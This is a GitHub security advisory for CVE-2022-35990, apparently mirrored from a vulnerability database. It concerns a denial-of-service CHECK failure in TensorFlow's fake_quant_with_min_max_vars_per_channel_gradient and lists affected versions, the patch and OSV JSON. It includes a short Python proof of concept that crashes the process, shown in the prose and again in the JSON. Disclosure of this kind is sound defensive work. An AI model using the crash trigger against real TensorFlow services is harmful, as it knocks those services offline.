GHSA-H7FF-CFC9-WMMH
Vulnerability from github – Published: 2022-09-16 22:15 – Updated: 2022-09-19 19:51
VLAI?
Summary
TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`
Details
Impact
When tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient receives input min or max of rank other than 1, it gives a CHECK fail that can trigger a denial of service attack.
import tensorflow as tf
arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_4=8
arg_5=False
arg_6=None
tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0,
inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4,
narrow_range=arg_5, name=arg_6)
Patches
We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by - 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology - Neophytos Christou, Secure Systems Labs, Brown University
Severity ?
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
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{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
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{
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{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
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"ranges": [
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"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
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"type": "ECOSYSTEM"
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35990"
],
"database_specific": {
"cwe_ids": [
"CWE-617"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T22:15:21Z",
"nvd_published_at": "2022-09-16T22:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nWhen `tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient` receives input `min` or `max` of rank other than 1, it gives a `CHECK` fail that can trigger a denial of service attack.\n```python\nimport tensorflow as tf\narg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)\narg_4=8\narg_5=False\narg_6=None\ntf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0, \n inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4, \n narrow_range=arg_5, name=arg_6)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by \n - \u5218\u529b\u6e90, Information System \u0026 Security and Countermeasures Experiments Center, Beijing Institute of Technology\n - Neophytos Christou, Secure Systems Labs, Brown University\n",
"id": "GHSA-h7ff-cfc9-wmmh",
"modified": "2022-09-19T19:51:34Z",
"published": "2022-09-16T22:15:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h7ff-cfc9-wmmh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35990"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": " TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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